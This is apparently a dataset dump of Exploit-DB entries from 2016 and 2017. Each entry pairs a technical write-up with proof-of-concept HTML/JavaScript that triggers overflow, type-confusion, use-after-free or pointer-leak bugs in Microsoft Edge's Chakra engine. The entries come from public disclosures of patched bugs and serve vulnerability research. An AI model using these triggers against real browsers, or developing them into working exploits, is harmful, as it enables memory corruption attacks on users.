deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40786
Description: Microsoft Edge - 'Array.reverse' Overflow
Type: dos
Platform: windows
Date: 2016-11-18
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=925

There is an overflow when reversing arrays in Chakra.

On line 5112 of JavascriptArray::EntryReverse, the length of the array is fetched and stored. It is then passed as a parameter into JavascriptArray::ReverseHelper, which then calls FillFromPrototypes, which can change the size of the array. If the size of the array is set to be larger than it was when the length was fetched, the calculation of the array segment head left value on line 5219:

     seg->left = ((uint32)length) - (seg->left + seg->length);

Can become a very large value (as length is larger than seg->length and seg->left is generally 0). This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method contains the following code:

        uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
        Assert(nextLeft > left);

        if(size != 0)
        {

            size = min(size, nextLeft - left);
        }

nextLeft can be smaller than the segment length if next is null and left is very large, leading size to be set to a small value which is less than the segment length. Many other methods, including setting an element of an array assume that size is less than length, and often allocate size bytes then copy length bytes, leading to an overflow if length is actually more than size.

A minimal PoC is as follows:

var a = [1];
a.length = 1000;
var j = [];

var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;

A full PoC is attached. Note that this PoC sometimes needs to be refreshed a few times to cause a crash.
-->

<html>
<head><meta http-equiv="refresh" content="1">
</head>
<body>
<script>

var a = [1];
a.length = 1000;
var j = [];


var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      //alert('get!');
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var place = [];
for(var i = 0; i < 10; i++){
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
var q = [1,2,3,4,5,6,7,8,9,10];
place.push(q);
}
//alert(place.join());

</script>
</body>
</html>
Exploit-DB #40787
Description: Microsoft Edge - 'Array.splice' Heap Overflow
Type: dos
Platform: windows
Date: 2016-11-18
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934

There is a heap overflow in Array.splice in Chakra.

When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.

A minimal PoC is as follows and a full PoC is attached.

var a = [];

class dummy{}

a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};

Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;

j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;

This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->

<html>
<head>
<meta http-equiv="refresh" content="1">
</head> 

<body>
<script>


var a = [];

class dummy{}


a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;


j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;


</script>
</body>
</html>
Exploit-DB #40773
Description: Microsoft Edge - 'eval' Type Confusion
Type: dos
Platform: windows
Date: 2016-11-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948

In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:

var p = new Proxy(eval, {});
p("alert(\"e\")"); 
-->

<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>
Exploit-DB #40784
Description: Microsoft Edge - 'FillFromPrototypes' Type Confusion
Type: dos
Platform: windows
Date: 2016-11-18
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945

JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
 // b[2] is type confused
-->

<html>
<body>
<script>

var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);

var handler = {
    getPrototypeOf: function(target, name){
       // print("get proto");
	return a;
    }
};

var p = new Proxy([], handler);
var b = [{}, [], "natalie"];

b.__proto__ = p;
b.length = 4;

a.shift.call(b);
print(a.shift.call(b[2]));

</script>
</body>
</html>
Exploit-DB #40603
Description: Microsoft Edge - 'Function.apply' Information Leak (MS16-119)
Type: dos
Platform: windows
Date: 2016-10-20
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
	var n = new Number(a[item]);
	if( n < 0){

	n = n + 0x100000000;
	}
	h.push(n.toString(16));	
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html>
Exploit-DB #42763
Description: Microsoft Edge - Chakra Incorrectly Parses Object Patterns
Type: dos
Platform: windows
Date: 2017-09-21
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1308

When the Chakra's parser meets "{", at first, Chakra treats it as an object literal without distinguishing whether it will be an object literal(i.e., {a: 0x1234}) or an object pattern(i.e., {a} = {a: 1234}). After finishing to parse it using "Parser::ParseTerm", if it's an object pattern, Chakra converts it to an object pattern using the "ConvertObjectToObjectPattern" method.

The problem is that "Parser::ParseTerm" also parses ".", etc. using "ParsePostfixOperators" without proper checks. As a result, an invalid syntax(i.e., {b = 0x1111...}.c) can be parsed and "ConvertObjectToObjectPattern" will fail to convert it to an object pattern.

In the following PoC, "ConvertObjectToObjectPattern" skips "{b = 0x1111...}.c". So the object literal will have incorrect members(b = 0x1111, c = 0x2222), this leads to type confusion(Chakra will think "c" is a setter and try to call it).

PoC:
-->

function f() {
    ({
        a: {
            b = 0x1111,
            c = 0x2222,
        }.c = 0x3333
    } = {});
}

f();
Exploit-DB #40878
Description: Microsoft Edge - CMarkup::Ensure­Delete­CFState Use-After-Free (MS15-125)
Type: dos
Platform: windows
Date: 2016-12-06
Author: Skylined

Exploit:
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Edge. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script does not prevent an attacker from triggering the vulnerable code path.

Repro:

/<style>:first-letter{word-spacing:9

Variation:

x<style>:first-letter{background-position:inherit

Description

At the time this issue was first discovered, Mem­GC was just introduced, and I had not yet fully appreciated what an impact it would have on mitigating use-after-free bugs. Despite Mem­GC being enabled in Microsoft Edge by default, this issue appeared to me to have been a use-after-free vulnerability. However, both Microsoft and ZDI (whom I sold the vulnerability to) describes it as a memory corruption vulnerability, so it's probably more complex than I assumed.

At the time, I did not consider this vulnerability to be of great interest, as there was no immediately obvious way of controlling the vulnerability in order to exploit it. So, I did not do any further investigation into the root cause and, if this was indeed a use-after-free, how come Mem­GC did not mitigate it? In hindsight, it would have been a good idea to investigate the root cause, as any use-after-free that is not mitigated by Mem­GC might provide hints on how to find more vulnerabilities that bypass it.

Time-line

August 2015: This vulnerability was found through fuzzing.
August 2015: This vulnerability was submitted to ZDI.
December 2015: Microsoft addresses this vulnerability in MS15-125.
December 2016: Details of this vulnerability are released.
Exploit-DB #40948
Description: Microsoft Edge - Internationalization Initialization Type Confusion (MS16-144)
Type: dos
Platform: windows
Date: 2016-12-21
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=972

In Chakra, Internationlization is initialized the first time the Intl object is used, by executing the script in Intl.js (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/InJavascript/Intl.js). This code attempts to prevent Object methods from being redefined by user scripts, but there are a few stray calls to Object.defineProperty in initialization. If Object.defineProperty is redefined before Intl is initialized, a user-define method can be called during initialization. If this method defines a Collator (or DateTimeFormat or NumberFormat) getter and setter on the Intl object, it can intercept what it is set to, and set it to a different value instead. This will then cause type confusion in IntlEngineInterfaceExtensionObject::deletePrototypePropertyHelper (https://github.com/Microsoft/ChakraCore/blob/master/lib/Runtime/Library/IntlEngineInterfaceExtensionObject.cpp), as this function assumes the properties of a Collator are objects, when they are not guaranteed to be. A minimal PoC is as follows, and a full PoC is attached.
 

var d = Object.defineProperty;

var noobj = {
    get: function () {
        return 0x1234567 >> 1;
    },
    set: function () {
    }
};

function f(){
	var i = Intl;
	Intl  = {}; // this somehow prevents an exception that prevents laoding
	d(i, "Collator", noobj);
}


Object.defineProperty = f;

var q = new Intl.NumberFormat(["en"]);

</script></body></html>
-->

<html><body><script>

var d = Object.defineProperty;

var noobj = {
    get: function () {
	print("in get no");
        return 0x1234567 >> 1;
    },
    set: function () {
        print("in set no");
    }
};

function f(...a){
	var i = Intl;
	Intl  = {};
	d(i, "Collator", noobj);
	
}

var pattern = {
    get: function () {
        return f;
    },
    set: function () {
    }
};

Object.defineProperty(Object, "defineProperty", pattern);

var q = new Intl.NumberFormat(["en"]);

</script></body></html>
Exploit-DB #40875
Description: Microsoft Edge - JSON.parse Info Leak
Type: dos
Platform: windows
Date: 2016-12-06
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=952

There is an info leak in JSON.parse. If this function is called with a reviver, and the reviver modifies the output object to contain a native array, the Walk function assumes that this array is a Var array, and writes pointers to it. These pointers can then be read out of the array by script.

A minimal PoC is as follows:

var once = false;
var a = 1;

function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);

A full PoC is attached. When loaded in a browser, this PoC will delay pointers in an alert dialog.
-->

<html>
<body>
<script>

var once = false;
var a = 1;


function f(){
        if(!once){
		a = new Array(1, 2, 3);
		this[2] = a;
	}
        once = true;
	//alert("f " + this);
	return {};

}


JSON.parse("[1, 2, [4, 5]]", f);
var n = new Number(a[0]);
n = n >> 1;
var s = n.toString(16);
n = new Number(a[1]);
n = n >> 1;
s = s + n.toString(16);
n.length = 100;
n = new Number(a[2]);
n = n >> 1;
s = s + " " + n.toString(16);
n = new Number(a[3]);
n = n >> 1;
s = s + n.toString(16);
alert(s);
</script>
</body>
</html>
Exploit-DB #40947
Description: Microsoft Edge - SIMD.toLocaleString Uninitialized Memory (MS16-145)
Type: dos
Platform: windows
Date: 2016-12-21
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=961

The following code occurs in JavascriptSIMDObject::ToLocaleString in JavascriptSimdObject.cpp:

        Var* newArgs = HeapNewArray(Var, numArgs);
        switch (numArgs)
        {
        case 1:
            break;
        case 2:
            newArgs[1] = args[1];
            break;
        case 3:
            newArgs[1] = args[1];
            newArgs[2] = args[2];
            break;
        default:
            Assert(UNREACHED);
        }

If the call has more than three arguments, it will fall through, leaving newArgs uninitialized. This will cause toLocaleString to be called on uninitialized memory, having a similar effect to type confusion (as integers in the memory can be confused for pointers and vice-versa). A minimal PoC is as follows, and a full PoC is attached:

    var v = SIMD.Int32x4(1, 2, 3, 4);
    v.toLocaleString(1, 2, 3, 4)
-->

<html><body><script>
    try{
    var v = SIMD.Int32x4(1, 2, 3, 4);
    alert(v.toLocaleString(1, 2, 3, 4, 5, 6, 7));
	}catch(e){
	alert(e.message);

}
</script></body></html>
Exploit-DB #41357
Description: Microsoft Edge - TypedArray.sort Use-After-Free (MS16-145)
Type: dos
Platform: windows
Date: 2017-02-14
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=983

There is a use-after-free in TypedArray.sort. In TypedArrayCompareElementsHelper (https://chromium.googlesource.com/external/github.com/Microsoft/ChakraCore/+/TimeTravelDebugging/lib/Runtime/Library/TypedArray.cpp), the comparison function is called with the following code:

 Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
                undefined,
                JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
                JavascriptNumber::ToVarWithCheck((double)y, scriptContext));

            Assert(TypedArrayBase::Is(contextArray[0]));
            if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
            {
                JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
            }

            if (TaggedInt::Is(retVal))
            {
                return TaggedInt::ToInt32(retVal);
            }

            if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
            {
                dblResult = JavascriptNumber::GetValue(retVal);
            }
            else
            {
                dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
            }

The TypeArray is checked to see if it has been detached, but then the return value from the function is converted to an integer, which can invoke valueOf. If this function detaches the TypedArray, one swap is perfomed on the buffer after it is freed.

A minimal PoC is as follows, and a full PoC is attached.

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);


function v(){

   postMessage("test", "http://127.0.0.1", [buf])
   return 7;

}

function compareNumbers(a, b) {

  return {valueOf : v};
}

numbers.sort(compareNumbers);

This PoC works on 64-bit systems only.
-->

<html>
<body>
<script>

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);
var first = 0;


function v(){
  alert("in v");
  if( first == 0){
	   postMessage("test", "http://127.0.0.1", [buf])
	first++;
	}
   return 7;

}

function compareNumbers(a, b) {
  alert("in func");

  return {valueOf : v};
}

try{
	numbers.sort(compareNumbers);
}catch(e){

	alert(e.message);

}
</script>
</body>
</html>
Exploit-DB #41623
Description: Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free
Type: dos
Platform: windows
Date: 2017-03-16
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1043

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {
    f.onload = null;

    for (var x in window) {
        if (whitelist.indexOf(x) != -1)
            continue;

        try {
            window.__lookupGetter__(x).call(f.contentWindow);
            log(x);
        } catch (e) {

        }
    }

};

f.src = "https://abc.xyz/";
document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.
-->

<!--

Microsoft Edge: Undefined behavior on some getters

I noticed that some javascript getters behave strangely.

My test code:

var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];

var f = document.createElement("iframe");

f.onload = () => {
    f.onload = null;

    for (var x in window) {
        if (whitelist.indexOf(x) != -1)
            continue;

        try {
            window.__lookupGetter__(x).call(f.contentWindow);
            log(x);
        } catch (e) {

        }
    }

};

f.src = "https://abc.xyz/";
document.body.appendChild(f);

And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.

Tested on Microsoft Edge 38.14393.0.0.

-->


<pre id="d">
</pre>
<body></body>

<script>

function log(txt) {
    var c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}

function main() {
    var f = document.createElement("iframe");
    
    f.onload = () => {
        f.onload = () => {
            var status = window.__lookupGetter__("defaultStatus").call(f.contentWindow);
            var func_cons = status.constructor.constructor;

            var ff = func_cons("return 0x12345;");
            for (var i = 0; i < 0x100000; i++)
                ff();

            f.onload = () => {
                alert("get ready");
                ff();
            };

            f.src = "about:blank";
        };

        //a = f.contentWindow;
        f.src = "about:blank";
    };

    document.body.appendChild(f);
}

main();

</script>
Exploit-DB #42479
Description: Microsoft Edge 40.15063.0.0 Chakra - Incorrect JIT Optimization with TypedArray Setter #3
Type: dos
Platform: windows
Date: 2017-08-17
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316

Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).